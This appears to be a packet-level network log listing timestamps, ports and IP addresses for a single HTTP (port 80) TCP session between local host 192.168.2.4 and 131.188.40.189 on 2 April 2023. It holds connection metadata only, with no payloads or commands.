Apr 2, 2023 09:51:05.741374016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741400003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741416931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741462946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741482019 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741508961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741556883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741595984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741624117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741672039 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741702080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741748095 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741794109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741801023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741842031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741952896 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.742176056 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.762582064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.762706995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.762789965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.762860060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.762862921 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.762902021 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.762907028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.762953043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763000011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763118029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763180971 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763180971 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763190031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763233900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763278008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763319016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763323069 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763360023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763361931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763446093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763504028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763519049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763535023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763564110 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763566971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763653040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763720036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763746977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.763834953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763911963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763957024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.763988972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764030933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764050961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764096022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764112949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764142990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764161110 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764278889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764327049 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764333010 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764379978 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764421940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764462948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764468908 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764506102 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764507055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764558077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764601946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764652014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764689922 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764736891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764738083 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764781952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764826059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.764827967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764873981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764925003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.764971018 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765032053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765116930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765161991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765167952 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765204906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765217066 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765249968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765295982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765377045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765422106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765464067 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765469074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765502930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.765543938 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.765552998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786164045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786199093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786221981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786235094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786246061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786267042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786267996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786287069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786304951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786324024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786328077 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786343098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786358118 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786381006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786391020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786401033 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786421061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786439896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786443949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786458015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786480904 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786485910 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786493063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786503077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786523104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786526918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786542892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786544085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786561966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786581039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786588907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786602020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786633015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786637068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786654949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786673069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786678076 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786710024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786731958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786750078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786753893 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786770105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786783934 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786796093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786803007 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786814928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786828995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786842108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786855936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786869049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786886930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786933899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786947012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786957979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786964893 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786968946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786979914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.786981106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.786995888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.787009954 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.787017107 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.787039042 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.787045002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.787059069 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.787065029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.787144899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.788198948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.788228035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.788247108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.788265944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.788285017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.788300037 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.788341999 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.807713032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807765007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807769060 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.807799101 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807843924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.807872057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807903051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807935953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807952881 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.807960987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.807986021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808022976 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808042049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808063030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808080912 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808094978 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808104992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808118105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808130980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808144093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808156967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808172941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808191061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808213949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808224916 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808238029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808260918 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808263063 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808288097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808299065 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808314085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808371067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808393002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808398008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808450937 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808450937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808476925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808500051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808531046 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808549881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808574915 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808598995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808604956 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808624983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808651924 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808682919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808700085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808722019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808743954 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808748960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808775902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808789015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808828115 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808849096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808876038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808902979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808926105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808928967 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808959961 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.808960915 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.808976889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809012890 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809020996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.809040070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809083939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809096098 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.809108973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809149027 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.809154987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809180975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809205055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809216976 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.809232950 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.809288979 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.819823980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.829982042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830073118 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830105066 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830136061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830142021 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830167055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830198050 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830199003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830230951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830290079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830290079 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830323935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830354929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830368996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830385923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830418110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830423117 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830459118 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830466986 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830514908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830543995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830573082 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830576897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830606937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830627918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830635071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830703974 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830718040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830745935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830766916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830796003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830816984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830823898 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830846071 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830852985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830881119 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830930948 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.830955029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.830986977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831011057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831013918 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831042051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831069946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831104040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831130981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831157923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831216097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831248045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831291914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831310034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831329107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831362009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831372023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831393003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831413031 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831475973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831506968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831528902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831546068 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831562042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831573963 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831597090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831659079 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831697941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831729889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831760883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831782103 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831801891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831832886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831856966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831882000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831907034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831942081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831950903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.831974030 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.831986904 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832035065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832037926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832066059 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832097054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832117081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832128048 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832158089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832181931 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832190037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832221985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832243919 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832252979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832283020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832313061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832339048 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832391977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.832397938 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.832426071 CEST	80	49724	131.188.40.189	192.168.2.4
